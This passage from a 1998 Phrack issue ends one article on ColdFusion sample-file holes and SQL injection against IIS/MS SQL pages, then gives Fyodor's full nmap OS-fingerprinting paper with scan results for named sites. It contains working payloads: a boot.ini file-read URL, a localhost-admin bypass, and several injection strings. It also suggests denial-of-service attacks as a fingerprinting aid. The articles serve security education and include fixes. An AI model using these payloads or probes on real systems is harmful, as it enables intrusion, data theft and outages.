http://site/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini
```

will display the contents of boot.ini in the window. Just like the IIS codebrws.asp program, we can use it to look at any file we want. However, exprcalc.cfm lets us specify other drive letters, while codebrws.asp is

limited to only the current drive.

----[Anonymous Mail

Very simply and quickly,

`/cfdocs/expeval/sendmail.cfm?MailFrom=&MailTo=&Subject=&Message=`

lets you send email. Not exactly a security breach, but not pleasant either. You must fill in the variable values.

----[Proxy Problems

This is an interesting problem brought about not only by CF, but possibly proxy software in general. CF includes an 'http client' application in

`/cfdocs/examples/httpclient/mainframeset.cfm`

which lets you type in an URL, and it will show you the HTML code in the bottom window. Now, let's say, remotely I try to administer the IIS 4.0 server that CF is running on by going to `http://site:5416/`. I get an error stating I have to be local (127.0.0.1). Now, I go to the http-client CF application on that same server. For the URL, I type "`http://localhost:5416`". I get the correct page as the result. I have effectively bypassed the security check. Using GET commands in the CF http-client application, I can administrate the server.

What's really interesting in theory is that applications like this, and proxys in general, can be used to abuse trust relationships and 'localhost only' security. It'd be interesting in hearing what other people find along this line. One example:

I surf to a company's firewall/web proxy from the 'outside'. I get an error stating 'Denied/Unauthorized Access'. I then request from their proxy 'GET `http://localhost/`'; and now I get the 'inside' web page with instructions on how to use the proxy correctly to get out. Yes, there's obvious setup problems (allowing outside requests), but that's not the point...

----[ODBC and MS SQL server 6.5

Ok, topic change again. Since we've hit on web service and database stuff, let's roll with it. Onto ODBC and MS SQL server 6.5.

I worked with a fellow WT'er on this problem. He did the good thing and told Microsoft, and their answer was, well, hilarious. According to them, what you're about to read is not a problem, so don't worry about doing anything to stop it.

- WHAT'S THE PROBLEM? MS SQL server allows batch commands.

- WHAT'S THAT MEAN? I can do something like:

`SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5`

Exactly like that, and it'll work. It will return two record sets, with each set containing the results of the individual SELECT.

- WHAT'S THAT REALLY MEAN? People can possibly piggyback SQL commands into your statements. Let's say you have:

```
SELECT * FROM table WHERE x=%%criteria from webpage user%%
```

Now, what if %%criteria from webpage user%% was equal to:

```
SELECT * FROM sysobjects
```

It would translate to:

```
SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects
```

which would be valid SQL and execute (both commands). But wait, there's more. Say you had:

```
SELECT * FROM table WHERE x=%%criteria%% AND y=5
```

If we used our above example, we'd get:

```
SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects AND y=5
```

which isn't valid SQL, and won't work. Well, there's a comment indicator, which tells MS SQL server to just ignore the rest of the line. If criteria is "1 SELECT * FROM sysobjects --", then the '--' causes the rest of the statement ("AND y=5") to be ignored.

- WHAT FILES OF MINE ARE AFFECTED? Well, ASP and IDC files are problematic. At least you can fix ASP files, but you're kinda stuck when it comes to IDCs.

- EXACTLY HOW ARE IDCs AFFECTED? Say we wanted to query a database of names=phone #s, where the user gives us a name, and we supply all the matching phone numbers. A Sql call like

```
SELECT * FROM phonetable WHERE NAME='namewewant'
```

would work. However, we need to dynamically specify "namewewant" to be the name the user does want. So, if we write the Sql statement:

```
SELECT * FROM phonetable WHERE NAME='%name%'
```

And in our HTML form, we have an input box called 'name'. If this .idc was called 'phone.idc', we'd call it:

```
http://site/phone.idc?name=rfp
```

The server would place "rfp" in place of %name%, and query the SQL server to select * where name='rfp'.

Now, stick more commands on the line. Executing our phone.idc from above like so:

```
phone.idc?name=rfp select * from table2
```

would lead to an expanded Sql query in the .idc to

```
SELECT * FROM phonetable WHERE name='rfp select * from table2'
```

Semi-close, but the single quotes cause all of the stuff to be the selection criteria. What if we introduced OUR OWN single quote?

```
phone.idc?name=rfp' select * from table2 --
```

would be

```
SELECT * FROM phonetable WHERE name='rfp' select * from table2 --'
```

We need to add the comment to get rid of the trailing single quote. BUT...
.idc's are smart...they will escape a single quote into two single quotes,
which indicate a data single quote. I.e.

```
phone.idc?name=rfp' command
```

will become

```
SELECT * FROM phonetable WHERE name='rfp'' command'
```

And since two '' make one data ', the table will be queried for a column
that matches:

```
"rfp' command"
```

Now wait, if .idc's protect against this, then why the hell am I wasting
my breath? You see, they're still vulnerable. They suck when they secretly
put an extra single quote into the SQL string. But....when you query numeric
values, you don't use single quotes; single quotes are only for strings. So,
lets's say we want to use our phone number database, but give a phone number,
and look up the associated name. We'll also say that phone numbers are
stored as long ints (numeric values), rather than strings, since we need a
numeric entry for this example.

So, I want to know who has the phone number 5551212. A hardcoded SQL call
would be

```
SELECT * FROM phonetable WHERE phone=5551212
```

And the variable version (in an .idc):

```
SELECT * FROM phonetable WHERE phone=%phonenum%
```

Whoa! No single quotes to worry about. Now we just do a simple:

```
phone.idc?phonenum=5551212 select * from table1
```

And that expands to

```
SELECT * FROM phonetable WHERE phone=5551212 select * from table1
```

- ARE THERE ANY .IDCS SOMEONE COULD USE AGAINST ME? Glad you asked. There's
a file included with IIS 3.0 in the /scripts/tools directory, called ctss.idc,
which has a SQL statement like:

```
CREATE TABLE %table% (...table defs...)
```

This is simple to exploit. Since you stuck with the initial 'CREATE TABLE',
you must finish that to be a valid command. Giving a table name and a simple
column definition will be sufficient. And then we tack on our command, and
then a '--' to ignore the rest of the table defs. So,

```
ctss.idc?table=craptable (f int) select * from table1 --
```

Would give us

```
CREATE TABLE craptable (f int) select * from table1 -- \  
(...table defs...)
```

(However, with ctss.idc, you need to know the DSN, UID, and PWD beforehand...
so you're somewhat safe)

- EXACTLY HOW ARE ASPs AFFECTED? Typical ADODB code looks something like:

```
<% SQLquery="SELECT * FROM phonetable"
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"
Set rec = Server.CreateObject("ADODB.RecordSet")
rec.ActiveConnection=Conn
rec.Open SQLquery %>
```

Which essentially performs a SELECT * FROM phonetable on the websql DSN, using user=sa, pwd=pwd, on database=master. Then you use fancy formatting of 'rec' to display the output in ASP.

Well, let's take into account user supplied variables now.

```
<% SQLquery="SELECT * FROM phonetable WHERE name='" & _
request.querystring("name") & "'"
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"
Set rec = Server.CreateObject("ADODB.RecordSet")
rec.ActiveConnection=Conn
rec.Open SQLquery %>
```

So, now our variable "name" is stuck into the SQLquery string, between the two ' '. Guess what?! ASP doesn't care about single quotes. It won't be smart like an .IDC and put in the extra ' to make the command ' into a data '. So, what does the SQLquery string look like when we call it like phone.idc? Let's say the above is phone.asp:

```
phone.asp?name=rfp' select * from table1 --
```

Gives us SQLquery that is:

```
SELECT * FROM phonetable WHERE name='rfp' select * from table1 --'
```

Which works. No sweat.

I'm sure some interesting questions come to mind:

- BUT I DON'T KNOW THE DSN NAME, LOGIN NAME, OR PASSWORD! You don't need them. The developer of the page that contains the SQL will already take care of that. We're piggy-backing SQL commands onto a command that will work (otherwise, the page/application wouldn't work normally anyway!). If the normal page can get to the SQL server through a firewall, VPN, etc, then so can this command. It can, and will, go wherever the normal pages/SQL can go.

- BUT I CAN'T VIEW THE SECOND RETURNED RECORDSET! Yes, this is a problem most of the time. Not too many applications are built assuming multiple recordset returns, so usually don't cooperate. But, let me just say there's a stored procedure in SQL that lets you email results of a command to anywhere....you don't need to see the results in your web browser.

- BUT WHAT GOOD IS RUNNING MORE SQL COMMANDS? My friend, my friend. Think bigger. Think better. Think stored procedures. I'm not going to include exploit examples, because that's not what this is about. This is simply to show that the problem exists.

- BUT WHAT IF THEY HAVE COMPLEX SQL COMMANDS? Yes, this can be tricky, but it's still possible. Think of it like writing a buffer overflow. ;-) If we have:

```
SELECT * FROM table WHERE ((x=%%criteria) AND (y=5))
```

then we have parentheses to deal with. But still doable. The goal is to close out any open parentheses opened before the piggybacked SQL statement, and use -- (comment) to ignore anything after.

- HOW CAN I PROTECT MYSELF? Put quotes around every string taken from the web user that's used in your SQL statement, and also change any single quotes (') into double single quotes ('')--this protects everything. In case of numeric criteria, check to see that the numeric string given back is, in fact, all numbers. And since you can't do any of the above in IDCs, switch to ASP. Don't allow access to any of the SQL servers extended procedures. Best of all, don't use raw SQL in your web applications; called custom stored procedures on the SQL server, and pass the web user's dynamic criteria as parameters.

Note: we've only had the time (and resources) to conduct batch SQL vulnerabilities against MS SQL server 6.5. We'd be interested in hearing from other people if other DB platforms (Oracle, Informix, etc) are also vulnerable.

----[Conclusion

Well, that about wraps it up for now. What are the morals to the above stories?

- Don't use sample files/applications on public/production servers.
- Don't use 'local-host only' security, especially on proxys.
- Watch what exactly is changed when you upgrade.
- Don't assume user's input is ok for SQL queries.

In short, use your brain. Till next time, have fun.

rain.forest.puppy / [WT] rfpuppy@iname.com

----[EOF

---[Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 09 of 12

-----[Remote OS detection via TCP/IP Stack FingerPrinting

-----[Fyodor <fyodor@dhp.com> (www.insecure.org) October 18, 1998

----[ABSTRACT

This paper discusses how to glean precious information about a host by querying its TCP/IP stack. I first present some of the "classical" methods of determining host OS which do not involve stack fingerprinting. Then I describe the current "state of the art" in stack fingerprinting tools. Next comes a description of many techniques for causing the remote host to leak information about itself. Finally I detail my (nmap) implementation of this, followed by a snapshot gained from nmap which discloses what OS is running on many popular Internet sites.

----[REASONS

I think the usefulness of determining what OS a system is running is pretty

obvious, so I'll make this section short. One of the strongest examples of this usefulness is that many security holes are dependent on OS version. Let's say you are doing a penetration test and you find port 53 open. If this is a vulnerable version of Bind, you only get one chance to exploit it since a failed attempt will crash the daemon. With a good TCP/IP fingerprinter, you will quickly find that this machine is running 'Solaris 2.51' or 'Linux 2.0.35' and you can adjust your shellcode accordingly.

A worse possibility is someone scanning 500,000 hosts in advance to see what OS is running and what ports are open. Then when someone posts (say) a root hole in Sun's comsat daemon, our little cracker could grep his list for 'UDP/512' and 'Solaris 2.6' and he immediately has pages and pages of rootable boxes. It should be noted that this is SCRIPT KIDDIE behavior. You have demonstrated no skill and nobody is even remotely impressed that you were able to find some vulnerable .edu that had not patched the hole in time. Also, people will be even less impressed if you use your newfound access to deface the department's web site with a self-aggrandizing rant about how damn good you are and how stupid the sysadmins must be.

Another possible use is for social engineering. Lets say that you are scanning your target company and nmap reports a 'Datavoice TxPORT PRISM 3000 T1 CSU/DSU 6.22/2.06'. The hacker might now call up as 'Datavoice support' and discuss some issues about their PRISM 3000. "We are going to announce a security hole soon, but first we want all our current customers to install the patch -- I just mailed it to you..." Some naive administrators might assume that only an authorized engineer from Datavoice would know so much about their CSU/DSU.

Another potential use of this capability is evaluation of companies you may want to do business with. Before you choose a new ISP, scan them and see what equipment is in use. Those "\$99/year" deals don't sound nearly so good when you find out they have crappy routers and offer PPP services off a bunch of Windows boxes.

----[CLASSICAL TECHNIQUES

Stack fingerprinting solves the problem of OS identification in a unique way. I think this technique holds the most promise, but there are currently many other solutions. Sadly, this is still one the most effective of those techniques:

```
playground~> telnet hpux.u-aizu.ac.jp
Trying 163.143.103.12...
Connected to hpux.u-aizu.ac.jp.
Escape character is '^]'.
```

```
HP-UX hpux B.10.01 A 9000/715 (ttyp2)
```

```
login:
```

There is no point going to all this trouble of fingerprinting if the machine will blatantly announce to the world exactly what it is running! Sadly, many vendors ship current systems with these kind of banners and many admins do not turn them off. Just because there are other ways to figure out what OS is running (such as fingerprinting), does not mean we should just announce our OS and architecture to every schmuck who tries to connect.

The problems with relying on this technique are that an increasing number of people are turning banners off, many systems don't give much information, and it is trivial for someone to "lie" in their banners. Nevertheless, banner reading is all you get for OS and OS Version checking if you spend thousands of dollars on the commercial ISS scanner. Download nmap or queso instead and

save your money :).

Even if you turn off the banners, many applications will happily give away this kind of information when asked. For example lets look at an FTP server:

```
payfonez> telnet ftp.netscape.com 21
Trying 207.200.74.26...
Connected to ftp.netscape.com.
Escape character is '^]'.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
```

First of all, it gives us system details in its default banner. Then if we give the 'SYST' command it happily feeds back even more information.

If anon FTP is supported, we can often download /bin/ls or other binaries and determine what architecture it was built for.

Many other applications are too free with information. Take web servers for example:

```
playground> echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:'
Server: Microsoft-IIS/4.0
playground>
```

Hmmm ... I wonder what OS those lamers are running.

Other classic techniques include DNS host info records (rarely effective) and social engineering. If the machine is listening on 161/udp (snmp), you are almost guaranteed a bunch of detailed info using 'snmpwalk' from the CMU SNMP tools distribution and the 'public' community name.

----[CURRENT FINGERPRINTING PROGRAMS

Nmap is not the first OS recognition program to use TCP/IP fingerprinting. The common IRC spoofer sirc by Johan has included very rudimentary fingerprinting techniques since version 3 (or earlier). It attempts to place a host in the classes "Linux", "4.4BSD", "Win95", or "Unknown" using a few simple TCP flag tests.

Another such program is checkos, released publicly in January of this year by Shok of Team CodeZero in Confidence Remains High Issue #7. The fingerprinting techniques are exactly the same as SIRC, and even the `_code_` is identical in many places. Checkos was privately available for a long time prior to the public release, so I have no idea who swiped code from whom. But neither seems to credit the other. One thing checkos does add is telnet banner checking, which is useful but has the problems described earlier.

Suld also wrote an OS checking program. His is called SS and as of Version 3.11 it can identify 12 different OS types. I am somewhat partial to this one since he credits my nmap program for some of the networking code :).

Then there is queso. This program is the newest and it is a huge leap forward from the other programs. Not only do they introduce a couple new tests, but they were the first (that I have seen) to move the OS fingerprints `_out_` of the code. The other scanners included code like:

```
/* from ss */
if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) &&
    (flagsthree & TH_ACK))
    reportos(argv[2],argv[3],"Livingston Portmaster ComOS");
```

Instead, queso moves this into a configuration file which obviously scales much better and makes adding an OS as easy as appending a few lines to a fingerprint file.

Queso was written by Savage, one of the fine folks at Apostols.org.

One problem with all the programs describe above is that they are very limited in the number of fingerprinting tests which limits the granularity of answers. I want to know more than just 'this machine is OpenBSD, FreeBSD, or NetBSD', I wish to know exactly which of those it is as well as some idea of the release version number. In the same way, I would rather see 'Solaris 2.6' than simply 'Solaris'. To achieve this response granularity, I worked on a number of fingerprinting techniques which are described in the next section.

----[FINGERPRINTING METHODOLOGY

There are many, many techniques which can be used to fingerprint networking stacks. Basically, you just look for things that differ among operating systems and write a probe for the difference. If you combine enough of these, you can narrow down the OS very tightly. For example nmap can reliably distinguish Solaris 2.4 vs. Solaris 2.5-2.51 vs Solaris 2.6. It can also tell Linux kernel 2.0.30 from 2.0.31-34 or 2.0.35. Here are some techniques:

The FIN probe -- Here we send a FIN packet (or any packet without an ACK or SYN flag) to an open port and wait for a response. The correct RFC793 behavior is to NOT respond, but many broken implementations such as MS Windows, BSDI, CISCO, HP/UX, MVS, and IRIX send a RESET back. Most current tools utilize this technique.

The BOGUS flag probe -- Queso is the first scanner I have seen to use this clever test. The idea is to set an undefined TCP "flag" (64 or 128) in the TCP header of a SYN packet. Linux boxes prior to 2.0.35 keep the flag set in their response. I have not found any other OS to have this bug. However, some operating systems seem to reset the connection when they get a SYN+BOGUS packet. This behavior could be useful in identifying them.

TCP ISN Sampling -- The idea here is to find patterns in the initial sequence numbers chosen by TCP implementations when responding to a connection request. These can be categorized in to many groups such as the traditional 64K (many old UNIX boxes), Random increments (newer versions of Solaris, IRIX, FreeBSD, Digital UNIX, Cray, and many others), True "random" (Linux 2.0.*, OpenVMS, newer AIX, etc). Windows boxes (and a few others) use a "time dependent" model where the ISN is incremented by a small fixed amount each time period. Needless to say, this is almost as easily defeated as the old 64K behavior. Of course my favorite technique is "constant". The machines ALWAYS use the exact same ISN :). I've seen this on some 3Com hubs (uses 0x803) and Apple LaserWriter printers (uses 0xc7001).

You can also subclass groups such as random incremental by computing variances, greatest common divisors, and other functions on the set of sequence numbers and the differences between the numbers.

It should be noted that ISN generation has important security implications. For more information on this, contact "security expert" Tsutomu "Shimmy" Shimomura at SDSC and ask him how he was owned. Nmap is the first program I have seen to use this for OS

identification.

Don't Fragment bit -- Many operating systems are starting to set the IP "Don't Fragment" bit on some of the packets they send. This gives various performance benefits (though it can also be annoying -- this is why nmap fragmentation scans do not work from Solaris boxes). In any case, not all OS's do this and some do it in different cases, so by paying attention to this bit we can glean even more information about the target OS. I haven't seen this one before either.

TCP Initial Window -- This simply involves checking the window size on returned packets. Older scanners simply used a non-zero window on a RST packet to mean "BSD 4.4 derived". Newer scanners such as queso and nmap keep track of the exact window since it is actually pretty constant by OS type. This test actually gives us a lot of information, since some operating systems can be uniquely identified by the window alone (for example, AIX is the only OS I have seen which uses 0x3F25). In their "completely rewritten" TCP stack for NT5, Microsoft uses 0x402E. Interestingly, that is exactly the number used by OpenBSD and FreeBSD.

ACK Value -- Although you would think this would be completely standard, implementations differ in what value they use for the ACK field in some cases. For example, lets say you send a FIN|PSH|URG to a closed TCP port. Most implementations will set the ACK to be the same as your initial sequence number, though Windows and some stupid printers will send your seq + 1. If you send a SYN|FIN|URG|PSH to an open port, Windows is very inconsistent. Sometimes it sends back your seq, other times it sends S++, and still other times it sends back a seemingly random value. One has to wonder what kind of code MS is writing that changes its mind like this.

ICMP Error Message Quenching -- Some (smart) operating systems follow the RFC 1812 suggestion to limit the rate at which various error messages are sent. For example, the Linux kernel (in net/ipv4/icmp.h) limits destination unreachable message generation to 80 per 4 seconds, with a 1/4 second penalty if that is exceeded. One way to test this is to send a bunch of packets to some random high UDP port and count the number of unreachables received. I have not seen this used before, and in fact I have not added this to nmap (except for use in UDP port scanning). This test would make the OS detection take a bit longer since you need to send a bunch of packets and wait for them to return. Also dealing with the possibility of packets dropped on the network would be a pain.

ICMP Message Quoting -- The RFCs specify that ICMP error messages quote some small amount of an ICMP message that causes various errors. For a port unreachable message, almost all implementations send only the required IP header + 8 bytes back. However, Solaris sends back a bit more and Linux sends back even more than that. The beauty with this is it allows nmap to recognize Linux and Solaris hosts even if they don't have any ports listening.

ICMP Error message echoing integrity -- I got this idea from something Theo De Raadt (lead OpenBSD developer) posted to comp.security.unix. As mentioned before, machines have to send back part of your original message along with a port unreachable error. Yet some machines tend to use your headers as 'scratch space' during initial processing and so they are a bit warped by

the time you get them back. For example, AIX and BSDI send back an IP 'total length' field that is 20 bytes too high. Some BSDI, FreeBSD, OpenBSD, ULTRIX, and VAXen fuck up the IP ID that you sent them. While the checksum is going to change due to the changed TTL anyway, there are some machines (AIX, FreeBSD, etc.) which send back an inconsistent or 0 checksum. Same thing goes with the UDP checksum. All in all, nmap does nine different tests on the ICMP errors to sniff out subtle differences like these.

Type of Service -- For the ICMP port unreachable messages I look at the type of service (TOS) value of the packet sent back. Almost all implementations use 0 for this ICMP error although Linux uses 0xC0. This does not indicate one of the standard TOS values, but instead is part of the unused (AFAIK) precedence field. I do not know why this is set, but if they change to 0 we will be able to keep identifying the old versions and we will be able to identify between old and new.

Fragmentation Handling -- This is a favorite technique of Thomas H. Ptacek of Secure Networks, Inc (now owned by a bunch of Windows users at NAI). This takes advantage of the fact that different implementations often handle overlapping IP fragments differently. Some will overwrite the old portions with the new, and in other cases the old stuff has precedence. There are many different probes you can use to determine how the packet was reassembled. I did not add this capability since I know of no portable way to send IP fragments (in particular, it is a bitch on Solaris). For more information on overlapping fragments, you can read their IDS paper (www.secnet.com).

TCP Options -- These are truly a gold mine in terms of leaking information. The beauty of these options is that:

- 1) They are generally optional (duh!) :) so not all hosts implement them.
- 2) You know if a host implements them by sending a query with an option set. The target generally show support of the option by setting it on the reply.
- 3) You can stuff a whole bunch of options on one packet to test everything at once.

Nmap sends these options along with almost every probe packet:

Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;

When you get your response, you take a look at which options were returned and thus are supported. Some operating systems such as recent FreeBSD boxes support all of the above, while others, such as Linux 2.0.X support very few. The latest Linux 2.1.x kernels do support all of the above. On the other hand, they are more vulnerable to TCP sequence prediction. Go figure.

Even if several operating systems support the same set of options, you can sometimes distinguish them by the values of the options. For example, if you send a small MSS value to a Linux box, it will generally echo that MSS back to you. Other hosts will give you different values.

And even if you get the same set of supported options AND the same values, you can still differentiate via the order that the options are given, and where padding is applied. For example Solaris returns 'NNTNWME' which means:

<no op><no op><timestamp><no op><window scale><echoed MSS>

While Linux 2.1.122 returns MENNTINW. Same options, same values, but different order!

I have not seen any other OS detection tools utilizes TCP options, but it is very useful.

There are a few other useful options I might probe for at some point, such as those that support T/TCP and selective acknowledgements.

Exploit Chronology -- Even with all the tests above, nmap is unable to distinguish between the TCP stacks of Win95, WinNT, or Win98. This is rather surprising, especially since Win98 came out about 4 years after Win95. You would think they would have bothered to improve the stack in some way (like supporting more TCP options) and so we would be able to detect the change and distinguish the operating systems. Unfortunately, this is not the case. The NT stack is apparently the same crappy stack they put into '95. And they didn't bother to upgrade it for '98.

But do not give up hope, for there is a solution. You can simply start with early Windows DOS attacks (Ping of Death, Winnuke, etc) and move up a little further to attacks such as Teardrop and Land. After each attack, ping them to see whether they have crashed. When you finally crash them, you will likely have narrowed what they are running down to one service pack or hotfix.

I have not added this functionality to nmap, although I must admit it is very tempting :).

SYN Flood Resistance -- Some operating systems will stop accepting new connections if you send too many forged SYN packets at them (forging the packets avoids trouble with your kernel resetting the connections). Many operating systems can only handle 8 packets. Recent Linux kernels (among other operating systems) allow various methods such as SYN cookies to prevent this from being a serious problem. Thus you can learn something about your target OS by sending 8 packets from a forged source to an open port and then testing whether you can establish a connection to that port yourself. This was not implemented in nmap since some people get upset when you SYN flood them. Even explaining that you were simply trying to determine what OS they are running might not help calm them.

----[NMAP IMPLEMENTATION AND RESULTS

I have created a reference implementation of the OS detection techniques mentioned above (except those I said were excluded). I have added this to my Nmap scanner which has the advantage that it already knows what ports are open and closed for fingerprinting so you do not have to tell it. It is also portable among Linux, *BSD, and Solaris 2.51 and 2.6, and some other operating systems.

The new version of nmap reads a file filled with Fingerprint templates that follow a simple grammar. Here is an example:

```
FingerPrint  IRIX 6.2 - 6.4 # Thanks to Lamont Granquist
TSeq(Class=i800)
T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
```

```
T3 (Resp=Y%DF=N%W=C000|EF2A%ACK=O%Flags=A%Ops=NNT)
T4 (DF=N%W=0%ACK=O%Flags=R%Ops=)
T5 (DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6 (DF=N%W=0%ACK=O%Flags=R%Ops=)
T7 (DF=N%W=0%ACK=S%Flags=AR%Ops=)
PU (DF=N%TOS=0%IPLen=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
```

Lets look at the first line (I'm adding '>' quote markers):

```
> FingerPrint IRIX 6.2 - 6.3 # Thanks to Lamont Granquist
```

This simply says that the fingerprint covers IRIX versions 6.2 through 6.3 and the comment states that Lamont Granquist kindly sent me the IP addresses or fingerprints of the IRIX boxes tested.

```
> TSeq(Class=i800)
```

This means that ISN sampling put it in the "i800 class". This means that each new sequence number is a multiple of 800 greater than the last one.

```
> T1 (DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
```

The test is named T1 (for test1, clever eh?). In this test we send a SYN packet with a bunch of TCP options to an open port. DF=N means that the "Don't fragment" bit of the response must not be set. W=C000|EF2A means that the window advertisement we received must be 0xC000 or EF2A. ACK=S++ means the acknowledgement we receive must be our initial sequence number plus 1. Flags = AS means the ACK and SYN flags were sent in the response. Ops = MNWNNT means the options in the response must be (in this order):

```
<MSS (not echoed)><NOP><Window scale><NOP><NOP><Timestamp>
```

```
> T2 (Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
```

Test 2 involves a NULL with the same options to an open port. Resp=Y means we must get a response. Ops= means that there must not be any options included in the response packet. If we took out '%Ops=' entirely then any options sent would match.

```
> T3 (Resp=Y%DF=N%W=400%ACK=S++%Flags=AS%Ops=M)
```

Test 3 is a SYN|FIN|URG|PSH w/options to an open port.

```
> T4 (DF=N%W=0%ACK=O%Flags=R%Ops=)
```

This is an ACK to an open port. Note that we do not have a Resp= here. This means that lack of a response (such as the packet being dropped on the network or an evil firewall) will not disqualify a match as long as all the other tests match. We do this because virtually any OS will send a response, so a lack of response is generally an attribute of the network conditions and not the OS itself. We put the Resp tag in tests 2 and 3 because some operating systems _do_ drop those without responding.

```
> T5 (DF=N%W=0%ACK=S++%Flags=AR%Ops=)
> T6 (DF=N%W=0%ACK=O%Flags=R%Ops=)
> T7 (DF=N%W=0%ACK=S%Flags=AR%Ops=)
```

These tests are a SYN, ACK, and FIN|PSH|URG, respectively, to a closed port. The same options as always are set. Of course this is all probably obvious given the descriptive names 'T5', 'T6', and 'T7' :).

```
> PU (DF=N%TOS=0%IPLen=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
```

This big sucker is the 'port unreachable' message test. You should recognize the DF=N by now. TOS=0 means that IP type of service field was 0. The next two fields give the (hex) values of the IP total length field of the message IP header and the total length given in the IP header they are echoing back to us. RID=E means the RID value we got back in the copy of our original UDP packet was expected (ie the same as we sent). RIPCK=E means they didn't fuck up the checksum (if they did, it would say RIPCK=F). UCK=E means the UDP checksum is also correct. Next comes the UDP length which was 0x134 and DAT=E means they echoed our UDP data correctly. Since most implementations (including this one) do not send any of our UDP data back, they get DAT=E by default.

The version of nmap with this functionality is currently in the 6th private beta cycle. It may be out by the time you read this in Phrack. Then again, it might not. See <http://www.insecure.org/nmap/> for the latest version.

----[POPULAR SITE SNAPSHOTS

Here is the fun result of all our effort. We can now take random Internet sites and determine what OS they are using. A lot of these people have eliminated telnet banners, etc. to keep this information private. But this is of no use with our new fingerprinter! Also this is a good way to expose the <your favorite crap OS> users as the lamers that they are :)!

The command used in these examples was: `nmap -sS -p 80 -O -v <host>`

Also note that most of these scans were done on 10/18/98. Some of these folks may have upgraded/changed servers since then.

Note that I do not like every site on here.

```
# "Hacker" sites or (in a couple cases) sites that think they are
www.l0pht.com      => OpenBSD 2.2 - 2.4
www.insecure.org   => Linux 2.0.31-34
www.rhino9.ml.org  => Windows 95/NT      # No comment :)
www.technotronic.com => Linux 2.0.31-34
www.nmrc.org       => FreeBSD 2.2.6 - 3.0
www.cultdeadcow.com => OpenBSD 2.2 - 2.4
www.kevinmitnick.com => Linux 2.0.31-34 # Free Kevin!
www.2600.com       => FreeBSD 2.2.6 - 3.0 Beta
www.antonline.com  => FreeBSD 2.2.6 - 3.0 Beta
www.rootshell.com  => Linux 2.0.35 # Changed to OpenBSD after
                                # they got owned.
```

```
# Security vendors, consultants, etc.
www.repsec.com     => Linux 2.0.35
www.iss.net        => Linux 2.0.31-34
www.checkpoint.com => Solaris 2.5 - 2.51
www.infowar.com    => Win95/NT
```

```
# Vendor loyalty to their OS
www.li.org         => Linux 2.0.35 # Linux International
www.redhat.com     => Linux 2.0.31-34 # I wonder what distribution :)
www.debian.org     => Linux 2.0.35
www.linux.org      => Linux 2.1.122 - 2.1.126
www.sgi.com        => IRIX 6.2 - 6.4
www.netbsd.org     => NetBSD 1.3X
www.openbsd.org    => Solaris 2.6      # Ahem :)
www.freebsd.org    => FreeBSD 2.2.6-3.0 Beta
```

```
# Ivy league
www.harvard.edu    => Solaris 2.6
```



```

www.yale.edu          => Solaris 2.5 - 2.51
www.caltech.edu       => SunOS 4.1.2-4.1.4 # Hello! This is the 90's :)
www.stanford.edu      => Solaris 2.6
www.mit.edu           => Solaris 2.5 - 2.51 # Coincidence that so many good
                                     # schools seem to like Sun?
                                     # Perhaps it is the 40%
                                     # .edu discount :)

www.berkeley.edu      => UNIX OSF1 V 4.0,4.0B,4.0D
www.oxford.edu        => Linux 2.0.33-34 # Rock on!

# Lamer sites
www.aol.com           => IRIX 6.2 - 6.4 # No wonder they are so insecure :)
www.happyhacker.org   => OpenBSD 2.2-2.4 # Sick of being owned, Carolyn?
                                     # Even the most secure OS is
                                     # useless in the hands of an
                                     # incompetent admin.

# Misc
www.lwn.net           => Linux 2.0.31-34 # This Linux news site rocks!
www.slashdot.org      => Linux 2.1.122 - 2.1.126
www.whitehouse.gov    => IRIX 5.3
sunsite.unc.edu       => Solaris 2.6

```

Notes: In their security white paper, Microsoft said about their lax security: "this assumption has changed over the years as Windows NT gains popularity largely because of its security features.". Hmm, from where I stand it doesn't look like Windows is very popular among the security community :). I only see 2 Windows boxes from the whole group, and Windows is easy for nmap to distinguish since it is so broken (standards wise).

And of course, there is one more site we must check. This is the web site of the ultra-secret Transmeta corporation. Interestingly the company was funded largely by Paul Allen of Microsoft, but it employs Linus Torvalds. So do they stick with Paul and run NT or do they side with the rebels and join the Linux revolution? Let us see:

We use the command:

```
nmap -sS -F -o transmeta.log -v -O www.transmeta.com/24
```

This says SYN scan for known ports (from /etc/services), log the results to 'transmeta.log', be verbose about it, do an OS scan, and scan the class 'C' where www.transmeta.com resides. Here is the gist of the results:

```

neon-best.transmeta.com (206.184.214.10) => Linux 2.0.33-34
www.transmeta.com (206.184.214.11) => Linux 2.0.30
neosilicon.transmeta.com (206.184.214.14) => Linux 2.0.33-34
ssl.transmeta.com (206.184.214.15) => Linux unknown version
linux.kernel.org (206.184.214.34) => Linux 2.0.35
www.linuxbase.org (206.184.214.35) => Linux 2.0.35 ( possibly the same
                                     machine as above )

```

Well, I think this answers our question pretty clearly :).

----[ACKNOWLEDGEMENTS

The only reason Nmap is currently able to detect so many different operating systems is that many people on the private beta team went to a lot of effort to search out new and exciting boxes to fingerprint! In particular, Jan Koum, van Hauser, Dmess0r, David O'Brien, James W. Abendschan, Solar Designer, Chris Wilson, Stuart Stock, Mea Culpa, Lamont Granquist, Dr. Who, Jordan Ritter, Brett Eldridge, and Pluvius sent in tons of IP addresses of wacky boxes and/or fingerprints of machines not reachable through the Internet.

Thanks to Richard Stallman for writing GNU Emacs. This article would not be so well word-wrapped if I was using vi or cat and ^D.

